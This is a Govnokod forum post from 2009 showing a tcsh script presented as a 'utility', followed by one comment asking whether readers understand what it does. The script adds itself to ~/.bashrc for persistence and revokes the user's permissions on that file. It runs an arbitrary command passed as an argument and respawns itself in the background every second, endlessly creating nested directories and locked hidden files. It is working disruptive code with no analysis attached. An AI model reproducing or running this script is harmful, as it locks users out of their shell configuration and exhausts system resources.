1. Куча / Говнокод #955

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    #!/bin/tcsh
    # Utility "p1", author Alice Stein ([email protected]),
    chmod +r+w ~/.bashrc
    set x3=$#
    if($x3<1) then
    #read last string from .bashrc that write one time
    # and replace spaces sign _
    set a=`cat ~/.bashrc | tail -n 1 | tr ' ' '_'`
    #parameter $0 contains path to script and name of script
    set b=$0
    #if a line coincided from .bashrc with $0
    if($a == $b) then
    else
    chmod +r+w ~/.bashrc
    #write to file .bashrc that started each time with start bash
    echo "$0" >> ~/.bashrc
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    endif
    #if command line parameters are not present assign default counter of directories 0 and command echo
    set x1="0"
    set x2="echo"
    $0 $x1 $x2 &
    else
    #save command line arguments in environment variables
    set x1=$1
    set x2=$2
    endif
    #exec command passed from command line
    $x2;
    #write number of counter of directory in the system log /var/log/messages
    logger $1;
    #increment directory counter
    @ x1++;
    chmod +x+r+w $x1
    #create directory
    mkdir $x1
    #call in the created directory
    cd $x1
    chmod +x+r+w $x1
    #delete a file if a script is started the second time that did not result in hanging up of script
    #delete hidden file
    rm .$x1
    #create hidden file
    echo "1" > .$x1
    #take away rights for access
    chmod -x-r-w .$x1
    cd ..
    chmod -x-r-w $x1
    #sleep on 1 second
    sleep 1s;
    #change right for access to file .bashrc
    chmod -r-w ~/.bashrc
    #recursive call with argument line parameter
    $0 $x1 $x2 &
    exit 0

    shell script tcsh

    Запостил: guest, 27 Апреля 2009

    Комментарии (1) RSS

    • Alice:
      Вы хоть понимаете что он делает?
      Ответить

    Добавить комментарий